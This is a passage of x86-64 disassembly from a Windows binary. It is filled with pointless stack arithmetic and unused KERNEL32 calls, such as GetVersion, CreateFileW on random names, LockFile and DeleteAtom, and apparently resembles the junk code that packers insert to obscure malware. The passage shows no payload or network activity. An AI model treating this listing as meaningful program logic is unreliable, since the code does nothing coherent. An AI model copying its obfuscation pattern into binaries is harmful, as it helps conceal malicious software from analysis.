mov word [rsp + 0x29d4], ax
mov rax, qword [0x1403639a0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6d94]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x9a80], eax
mov rax, qword [rsp + 0x12ee0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa8ec]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa7d4], eax
mov rax, qword [rsp + 0x13288]
movzx eax, byte [rax]
mov byte [rsp + 0x6ba], al
mov rax, qword [rsp + 0x12fb8]
movsx eax, word [rax]
movsx ecx, word [0x140353b08]
and eax, ecx
mov rcx, qword [rsp + 0x12fb8]
mov word [rcx], ax
movzx eax, word [rsp + 0x29cc]
movzx ecx, word [rsp + 0x1cb4]
add eax, ecx
mov word [rsp + 0x298c], ax
lea rax, [rsp + 0x6b9]
mov qword [0x1403639c8], rax
mov eax, dword [rsp + 0xa8b0]
mov dword [rsp + 0xa938], eax
mov rax, qword [rsp + 0x13470]
mov rcx, qword [rsp + 0x133d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x12f40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x132f8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x29a8]
add eax, ecx
mov word [rsp + 0x2888], ax
movzx eax, byte [0x14035e48e]
mov rcx, qword [rsp + 0x131f8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x6b9], al
mov rax, qword [rsp + 0x13188]
mov ecx, dword [rsp + 0xa908]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa884], eax
lea rax, [rsp + 0xa808]
mov qword [rsp + 0x13490], rax
mov rax, qword [0x1403639a8]
mov ecx, dword [rsp + 0x73a0]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x9a80], eax
lea rax, [rsp + 0xa8ec]
mov qword [rsp + 0x13498], rax
movzx eax, byte [rsp + 0x6b7]
movzx ecx, byte [rsp + 0x4bc]
sar eax, cl
mov rcx, qword [0x140363970]
mov byte [rcx], al
mov rax, qword [rsp + 0x13240]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13400]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x29c8], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa8e0], eax
lea rdx, [rsp + 0x45b98]
mov rcx, qword [rsp + 0x13310]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xa910], eax
mov rax, qword [rsp + 0x13488]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x13290]
mov qword [rsp + 0x134a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x134a0]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x13320]
mov dword [rcx], eax
lea rax, [rsp + 0xa8ec]
mov qword [rsp + 0x134a8], rax
mov rax, qword [0x1403639b0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x132b8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x6b6], al
mov rax, qword [rsp + 0x13348]
movzx eax, word [rax]
mov word [rsp + 0x29d8], ax
movzx eax, word [rsp + 0x29b4]
mov rcx, qword [0x140363988]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x13208]
mov word [rcx], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 4
mov edx, 0x80000000
lea rcx, str.oqgPmy7Sj0alLYu0Uz9kAX
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x134b0], rax
lea rax, [rsp + 0x65d]
mov qword [rsp + 0x134b8], rax
mov rax, qword [rsp + 0x132c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x898c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12f90]
mov dword [rcx], eax
mov dword [rsp + 0x20], 0x28ee
mov r9d, 0x5a2
mov r8d, 0x4db
mov edx, 0x95a
mov rcx, qword [rsp + 0x12ee8]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0xa7c4], eax
mov rax, qword [rsp + 0x132d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa900]
or ecx, eax
mov eax, ecx
mov rcx, qword [0x140363998]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12ee0]
mov ecx, dword [rsp + 0xa908]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6d94], eax
lea rax, [rsp + 0xa87c]
mov qword [rsp + 0x134c0], rax
mov rax, qword [0x1403639a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa8d8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa7b4], eax
lea rax, [rsp + 0x6b8]
mov qword [rsp + 0x134c8], rax
mov rax, qword [rsp + 0x13208]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13240]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x29a4], ax
mov eax, dword [rsp + 0xa8c8]
mov ecx, dword [rsp + 0xa894]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x99e4], eax
lea rax, [rsp + 0xa8ac]
mov qword [rsp + 0x134d0], rax
mov rax, qword [rsp + 0x13258]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa7b4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13478]
mov dword [rcx], eax
lea rax, [0x140363960]
mov qword [0x1403639d0], rax
lea rax, [rsp + 0x1778]
mov qword [rsp + 0x134d8], rax
movzx eax, byte [rsp + 0x6b7]
movzx ecx, byte [rsp + 0x6b1]
sub eax, ecx
mov byte [rsp + 0x22a], al
movsx eax, word [rsp + 0x1784]
movsx ecx, word [rsp + 0x2990]
sub eax, ecx
mov word [rsp + 0x1868], ax
movsx eax, byte [rsp + 0x6b0]
mov rcx, qword [rsp + 0x132b8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x305], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa870], eax
mov rax, qword [rsp + 0x134c0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x12f40]
mov qword [rsp + 0x134e0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x134e0]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x13470]
mov dword [rcx], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 2
mov edx, 0x80000000
lea rcx, str.uxk7oOkTCdgmK4pj5N8O
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x134e8], rax
mov eax, dword [rsp + 0xa8ec]
mov dword [rsp + 0xa93c], eax
mov dword [rsp + 0x20], 0x3a1d
mov r9d, 0x796
mov r8d, 0x13dc
mov edx, 0x2d0b
mov rcx, qword [rsp + 0x13260]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0xa92c], eax
lea rcx, [rsp + 0x41b08]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x13050]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x29d0]
sar eax, cl
mov word [rsp + 0x29b4], ax
lea rax, [rsp + 0x65d]
mov qword [rsp + 0x134f0], rax
mov eax, dword [0x14035cbd8]
mov ecx, dword [rsp + 0xa7d0]
xor ecx, eax
mov eax, ecx
mov rcx, qword [0x140363968]
mov dword [rcx], eax
mov r9d, 2
lea r8, [rsp + 0x13058]
mov rdx, qword [rsp + 0x12f98]
mov rcx, qword [rsp + 0x13260]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xa940], eax
mov rax, qword [rsp + 0x12f20]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa900]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xa8d8], eax
mov rax, qword [rsp + 0x133d0]
mov rcx, qword [rsp + 0x133c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa7d4], eax
mov eax, dword [rsp + 0xa8cc]
mov dword [rsp + 0xa944], eax
movzx eax, word [rsp + 0x29a8]
mov rcx, qword [rsp + 0x13480]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x298c], ax
movzx eax, byte [rsp + 0x6b4]
mov rcx, qword [rsp + 0x133f0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x256], al
mov eax, dword [rsp + 0x920c]
mov ecx, dword [rsp + 0xa930]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13258]
mov dword [rcx], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rax, qword [rsp + 0x133a0]
mov ecx, dword [rsp + 0xa8c8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa810], eax
mov eax, dword [rsp + 0xa8b0]
mov dword [rsp + 0xa948], eax
lea rax, [rsp + 0xa914]
mov qword [0x1403639d8], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa8f4], eax
mov eax, dword [rsp + 0xa93c]
mov ecx, dword [rsp + 0xa81c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x133f8]
mov dword [rcx], eax
lea rax, [rsp + 0x1f6]
mov qword [rsp + 0x134f8], rax
movsx eax, word [rsp + 0x1784]
mov rcx, qword [rsp + 0x13378]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x13348]
mov word [rcx], ax
mov rax, qword [rsp + 0x13440]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13430]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x256], al
lea rax, [rsp + 0x29a8]
mov qword [rsp + 0x13500], rax
mov rax, qword [rsp + 0x131b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6b80]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa8b0], eax
mov r9d, 1
lea r8, [rsp + 0x13268]
mov rdx, qword [rsp + 0x13268]
mov rcx, qword [rsp + 0x130e0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xa94c], eax
lea rax, [rsp + 0xa8bc]
mov qword [rsp + 0x13508], rax
mov rax, qword [rsp + 0x134c8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x4bc]
sar eax, cl
mov byte [rsp + 0x6b8], al
lea rax, [rsp + 0x29d0]
mov qword [0x1403639e0], rax
mov rax, qword [rsp + 0x13490]
mov ecx, dword [rsp + 0xa948]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xa8d0], eax
lea rax, [rsp + 0xa8e8]
mov qword [rsp + 0x13510], rax
mov rax, qword [rsp + 0x13328]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa774]
shl eax, cl
mov dword [rsp + 0xa900], eax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x3914
mov r9d, 0x9eb
mov r8d, 0xd3cd3262
mov edx, 1
mov rcx, qword [rsp + 0x134e8]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0xa934], eax
mov rax, qword [rsp + 0x133d8]
mov rcx, qword [rsp + 0x13438]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x9e54], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa8f4], eax
mov rax, qword [rsp + 0x13400]
movzx eax, word [rax]
movzx ecx, word [0x14035cbec]
and eax, ecx
mov rcx, qword [rsp + 0x13208]
mov word [rcx], ax
lea rax, [rsp + 0x6b3]
mov qword [rsp + 0x13518], rax
mov eax, dword [rsp + 0xa908]
mov ecx, dword [rsp + 0xa920]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa914], eax
mov eax, dword [0x14035cbdc]
mov ecx, dword [rsp + 0xa7b4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa91c], eax
lea rax, [rsp + 0x197c]
mov qword [0x1403639e8], rax
movzx eax, byte [rsp + 0x43e]
mov byte [rsp + 0x6bb], al
mov rax, qword [rsp + 0x132f8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x132b0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x299c], ax
mov rax, qword [rsp + 0x134c8]
movzx eax, byte [rax]
mov byte [rsp + 0x6bc], al
mov eax, dword [rsp + 0x64f0]
mov ecx, dword [rsp + 0xa938]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13330]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13470]
mov ecx, dword [0x14035cbd8]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xa8f8], eax
mov rax, qword [rsp + 0x132e0]
mov rcx, qword [rsp + 0x133c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x8178], eax
mov rax, qword [rsp + 0x13460]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6554]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9e84], eax
mov eax, dword [0x1403639bc]
mov dword [rsp + 0xa950], eax
movzx eax, word [rsp + 0x251c]
mov rcx, qword [rsp + 0x13480]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x132f0]
mov word [rcx], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x10
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 2
mov edx, 0x80000000
lea rcx, str.WWlDrcyV15DW6gZR32c
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x13520], rax
lea rax, [rsp + 0x6b5]
mov qword [0x1403639f0], rax
mov rax, qword [0x140363950]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa7d0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x132c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13300]
mov ecx, dword [rsp + 0xa914]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x7c34], eax
mov eax, dword [rsp + 0xa920]
movzx ecx, al
mov eax, dword [rsp + 0x99e4]
shl eax, cl
mov dword [rsp + 0xa810], eax
mov rax, qword [rsp + 0x13470]
mov eax, dword [rax]
mov dword [rsp + 0xa954], eax
mov rax, qword [rsp + 0x13410]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x4bc]
sar eax, cl
mov byte [rsp + 0x6bc], al
mov rax, qword [rsp + 0x134d8]
movzx eax, word [rax]
movzx ecx, word [0x140362b7c]
or eax, ecx
mov rcx, qword [rsp + 0x13240]
mov word [rcx], ax
movzx eax, byte [rsp + 0x6b0]
mov byte [rsp + 0x6bd], al
movsx eax, word [rsp + 0x197c]
mov rcx, qword [rsp + 0x130e8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x29c4], ax
mov rax, qword [rsp + 0x13358]
mov rcx, qword [rsp + 0x134c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [0x140363978]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13460]
mov ecx, dword [rsp + 0xa900]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7970], eax
movzx eax, word [rsp + 0x2484]
movzx ecx, word [rsp + 0x1778]
add eax, ecx
mov rcx, qword [rsp + 0x132c8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x6b4]
mov byte [rsp + 0x6be], al
lea rdx, [rsp + 0x13268]
mov rcx, qword [rsp + 0x13260]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xa8f0], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 2
mov edx, 0x80000000
lea rcx, str.7MZwQroZf
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x13528], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa870], eax
mov eax, dword [rsp + 0xa894]
mov ecx, dword [rsp + 0xa90c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13328]
mov dword [rcx], eax
mov rax, qword [rsp + 0x132c0]
mov ecx, dword [rsp + 0xa7dc]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13320]
mov dword [rcx], eax
mov eax, dword [rsp + 0x7200]
mov ecx, dword [rsp + 0xa920]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x765c], eax
mov eax, dword [rsp + 0x99e4]
mov ecx, dword [rsp + 0x9a80]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x133c8]
mov dword [rcx], eax
lea rax, [0x14035e4a4]
mov qword [rsp + 0x13530], rax
movzx ecx, word [rsp + 0x2984]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x29bc], ax
movzx eax, word [rsp + 0x1778]
mov word [0x140362bdc], ax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x198d
mov r9d, 0x105f
mov r8d, 0x651701ea
mov edx, 2
mov rcx, qword [rsp + 0x13520]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0xa958], eax
movzx ecx, word [rsp + 0x2988]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x29d4], ax
mov rax, qword [rsp + 0x13248]
mov ecx, dword [rsp + 0x898c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13280]
mov dword [rcx], eax
mov rax, qword [rsp + 0x132d0]
mov rcx, qword [0x1403639d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x133a0]
mov dword [rcx], eax
lea rax, [rsp + 0xa90c]
mov qword [rsp + 0x13538], rax
mov eax, dword [rsp + 0xa8d4]
mov rcx, qword [rsp + 0x132d0]
mov qword [rsp + 0x13540], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13540]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x12f20]
mov dword [rcx], eax
mov rax, qword [rsp + 0x132e0]
mov eax, dword [rax]
mov dword [rsp + 0xa95c], eax
mov rax, qword [rsp + 0x13390]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x5fd]
shl eax, cl
mov byte [rsp + 0x6b2], al
movsx eax, word [rsp + 0x2990]
mov rcx, qword [rsp + 0x12fb8]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x29c4], ax
movzx eax, byte [0x14035e48e]
movzx ecx, byte [rsp + 0x51b]
or eax, ecx
mov byte [rsp + 0x23c], al
movzx eax, word [rsp + 0x251c]
mov rcx, qword [rsp + 0x134d8]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [0x1403639e0]
mov word [rcx], ax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetMailslotInfo]
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa870], eax
mov rax, qword [rsp + 0x13248]
mov ecx, dword [0x14035cbd8]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa8e4], eax
mov rax, qword [rsp + 0x13470]
mov eax, dword [rax]
mov dword [rsp + 0xa960], eax
movzx eax, word [rsp + 0x251c]
movzx ecx, word [rsp + 0x1cb4]
add eax, ecx
mov rcx, qword [rsp + 0x13480]
mov word [rcx], ax
lea rax, [rsp + 0x6be]
mov qword [rsp + 0x13548], rax
mov rax, qword [rsp + 0x133c8]
mov eax, dword [rax]
mov ecx, dword [0x1403639bc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6554], eax
mov rax, qword [rsp + 0x13490]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa8cc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x134c0]
mov dword [rcx], eax
lea rax, [rsp + 0x7200]
mov qword [rsp + 0x13550], rax
mov rax, qword [0x1403639a8]
mov rcx, qword [rsp + 0x13418]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13380]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa964], eax
mov rax, qword [rsp + 0x13208]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13480]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x140362afc], ax
lea rax, [rsp + 0x43d]
mov qword [rsp + 0x13558], rax
lea rdx, [rsp + 0x45b98]
mov rcx, qword [rsp + 0x13310]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xa92c], eax
mov rax, qword [rsp + 0x13330]
mov eax, dword [rax]
mov ecx, dword [0x14035cbd8]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xa8a0], eax
mov rax, qword [rsp + 0x12f50]
mov rcx, qword [rsp + 0x12f20]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x134a8]
mov dword [rcx], eax
lea rax, [0x14035e4a5]
mov qword [rsp + 0x13560], rax
movsx eax, word [rsp + 0x1cc4]
mov rcx, qword [rsp + 0x131b8]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x13378]
mov word [rcx], ax
lea rax, [rsp + 0x6b4]
mov qword [rsp + 0x13568], rax
mov rax, qword [rsp + 0x13240]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x251c]
shl eax, cl
mov word [rsp + 0x29b4], ax
lea rdx, [rsp + 0x12f98]
mov rcx, qword [rsp + 0x13260]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xa968], eax
mov rax, qword [rsp + 0x133d8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x13290]
mov qword [rsp + 0x13570], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13570]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x13248]
mov dword [rcx], eax
lea rax, [rsp + 0xa90c]
mov qword [0x1403639f8], rax
lea rax, [rsp + 0xa8dc]
mov qword [rsp + 0x13578], rax
mov eax, dword [rsp + 0xa8f8]
mov ecx, dword [0x14035cbd8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa278], eax
mov rax, qword [rsp + 0x13508]
mov eax, dword [rax]
mov dword [rsp + 0xa96c], eax
mov rax, qword [rsp + 0x134f0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13318]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x6b1], al
mov qword [rsp + 0x20], 0
mov r9d, 0x20b9
mov r8d, 0x112c
mov edx, 0x60
mov rcx, qword [rsp + 0x12ef0]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0xa910], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x13580], rax
movzx eax, word [0x14035cbe4]
movzx ecx, word [rsp + 0x29a8]
or eax, ecx
mov rcx, qword [rsp + 0x132b0]
mov word [rcx], ax
lea rax, [rsp + 0x6554]
mov qword [rsp + 0x13588], rax
mov rax, qword [rsp + 0x13248]
mov ecx, dword [0x14035cbd8]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x131b0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13508]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa930]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x81a0], eax
mov rax, qword [rsp + 0x13188]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa8c0]
add ecx, eax
mov eax, ecx
mov dword [0x14035cbf0], eax
mov rax, qword [rsp + 0x13400]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x298c]
sub eax, ecx
mov word [rsp + 0x29a8], ax
lea rax, [rsp + 0x6b5]
mov qword [rsp + 0x13590], rax
mov rax, qword [rsp + 0x13378]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x29c4]
sub eax, ecx
mov rcx, qword [rsp + 0x131b8]
mov word [rcx], ax
mov rax, qword [rsp + 0x132e8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x5fd]
sub eax, ecx
mov byte [rsp + 0x1f6], al
mov rax, qword [rsp + 0x134c0]
mov eax, dword [rax]
mov dword [rsp + 0xa970], eax
mov rax, qword [rsp + 0x12f20]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa850]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa928], eax
movzx ecx, word [rsp + 0x29b0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2988], ax
lea rax, [rsp + 0x51b]
mov qword [rsp + 0x13598], rax
movzx eax, word [rsp + 0x1088]
movzx ecx, word [rsp + 0x251c]
or eax, ecx
mov word [rsp + 0x299c], ax
lea rdx, [rsp + 0x45bd0]
mov rcx, qword [rsp + 0x13520]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xa958], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa924], eax
mov rax, qword [rsp + 0x13358]
mov rcx, qword [0x140363950]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [0x140363968]
mov dword [rcx], eax
mov eax, dword [rsp + 0x765c]
mov rcx, qword [rsp + 0x13538]
mov qword [rsp + 0x135a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x135a0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x8604], eax
mov eax, dword [rsp + 0x7200]
mov rcx, qword [rsp + 0x133d0]
mov qword [rsp + 0x135a8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x135a8]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x710c], eax
mov eax, dword [rsp + 0x9e54]
mov ecx, dword [0x14035cbd8]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13320]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13480]
movzx eax, word [rax]
mov word [rsp + 0x29dc], ax
mov rax, qword [rsp + 0x13598]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13368]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x13530]
mov byte [rcx], al
mov rax, qword [rsp + 0x13588]
mov rcx, qword [rsp + 0x13270]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13380]
mov dword [rcx], eax
lea rax, [rsp + 0x73a0]
mov qword [rsp + 0x135b0], rax
mov rax, qword [rsp + 0x134c0]
mov rcx, qword [rsp + 0x132c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x12f40]
mov dword [rcx], eax
lea rax, [0x14035cbe8]
mov qword [0x140363a00], rax
mov rax, qword [rsp + 0x13188]
mov eax, dword [rax]
mov dword [rsp + 0xa974], eax
movzx ecx, word [rsp + 0x2984]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x29b0], ax
movsx eax, byte [rsp + 0x5fd]
mov rcx, qword [rsp + 0x134f8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x6bd], al
lea rax, [rsp + 0x1cc4]
mov qword [rsp + 0x135b8], rax
movzx eax, word [rsp + 0x29cc]
movzx ecx, word [rsp + 0x29c0]
and eax, ecx
mov word [rsp + 0x251c], ax
movzx eax, byte [rsp + 0x6b4]
movzx ecx, byte [rsp + 0x256]
add eax, ecx
mov rcx, qword [rsp + 0x13548]
mov byte [rcx], al
lea rax, [rsp + 0xa808]
mov qword [rsp + 0x135c0], rax
mov eax, dword [rsp + 0x8604]
mov ecx, dword [rsp + 0xa900]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7c34], eax
lea rcx, [rsp + 0x41ad8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x13400]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13050]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1e64], ax
movzx eax, byte [0x14035e4a4]
movzx ecx, byte [rsp + 0x51b]
sub eax, ecx
mov byte [0x140353573], al
mov rax, qword [rsp + 0x13488]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa8cc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa938], eax
lea rcx, str.I5TsiA_AyuH6_Lnoxk
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x29e0], ax
mov rax, qword [rsp + 0x13270]
mov ecx, dword [0x14035cbdc]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa91c], eax
mov rax, qword [rsp + 0x12ee0]
mov eax, dword [rax]
mov dword [rsp + 0xa978], eax
mov eax, dword [rsp + 0xa938]
mov rcx, qword [rsp + 0x135c0]
mov qword [rsp + 0x135c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x135c8]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x13438]
mov dword [rcx], eax
lea rax, [rsp + 0x29dc]
mov qword [rsp + 0x135d0], rax
mov rax, qword [rsp + 0x13518]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x23c]
sar eax, cl
mov rcx, qword [rsp + 0x134f0]
mov byte [rcx], al
mov rax, qword [rsp + 0x13380]
